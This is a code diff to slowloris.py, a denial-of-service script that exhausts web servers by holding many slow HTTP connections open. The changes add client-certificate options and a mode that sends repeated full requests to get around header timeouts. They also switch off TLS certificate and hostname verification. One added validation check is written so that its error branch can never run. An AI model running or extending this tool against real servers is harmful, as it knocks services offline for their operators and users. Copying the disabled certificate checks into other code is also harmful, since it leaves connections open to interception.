diff --git a/slowloris.py b/slowloris.py
index 554a503..4bafe42 100755
--- a/slowloris.py
+++ b/slowloris.py
@@ -51,7 +51,28 @@
     "--https",
     dest="https",
     action="store_true",
-    help="Use HTTPS for the requests",
+    help="use https for the requests",
+)
+parser.add_argument(
+    "--cert",
+    help="Use SSL client certificate (PEM)",
+    default=None,
+)
+parser.add_argument(
+    "--key",
+    help="Use SSL client private key (PEM)",
+    default=None,
+)
+parser.add_argument(
+    "--password",
+    help="Password for private key",
+    default="",
+)
+parser.add_argument(
+    "--makerequest",
+    dest="makerequest",
+    action="store_true",
+    help="Send full http request (useful when small request body/header timeout is set but keep-alive is set)",
 )
 parser.add_argument(
     "--sleeptime",
@@ -75,6 +96,8 @@
     parser.print_help()
     sys.exit(1)
 
+
+
 if args.useproxy:
     # Tries to import to external "socks" library
     # and monkey patches socket.socket to connect over
@@ -103,6 +126,13 @@
         level=logging.INFO,
     )
 
+if None not in [args.cert, args.key]:
+    if args.cert is None or args.key is None:
+        print("Supply both parameters (--cert & --key) for connection with client certificate !")
+    else:
+        logging.info("Using  client certificate.")
+
+
 
 def send_line(self, line):
     line = f"{line}\r\n"
@@ -152,13 +182,16 @@ def send_header(self, name, value):
 setattr(socket.socket, "send_line", send_line)
 setattr(socket.socket, "send_header", send_header)
 
-
 def init_socket(ip):
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.settimeout(4)
 
     if args.https:
         ctx = ssl.create_default_context()
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+        if None not in [args.cert, args.key]:
+            ctx.load_cert_chain(args.cert, args.key, args.password)
         s = ctx.wrap_socket(s, server_hostname=args.host)
 
     s.connect((ip, args.port))
@@ -171,6 +204,9 @@ def init_socket(ip):
 
     s.send_header("User-Agent", ua)
     s.send_header("Accept-language", "en-US,en,q=0.5")
+    if args.makerequest:
+        s.send_header("Host", args.host)
+        s.send_line("\r\n\r\n")
     return s
 
 
@@ -197,8 +233,13 @@ def main():
             )
             for s in list(list_of_sockets):
                 try:
+                    if args.makerequest:
+                        s.send("\r\n\r\n".encode("utf-8"))
+                        s.send("GET / HTTP/1.1\r\n".encode("utf-8"))
+                        s.send(f"Host: {args.host}\r\n".encode("utf-8")) 
                     s.send_header("X-a", random.randint(1, 5000))
-                except socket.error:
+
+                except socket.error as e:
                     list_of_sockets.remove(s)
 
             for _ in range(socket_count - len(list_of_sockets)):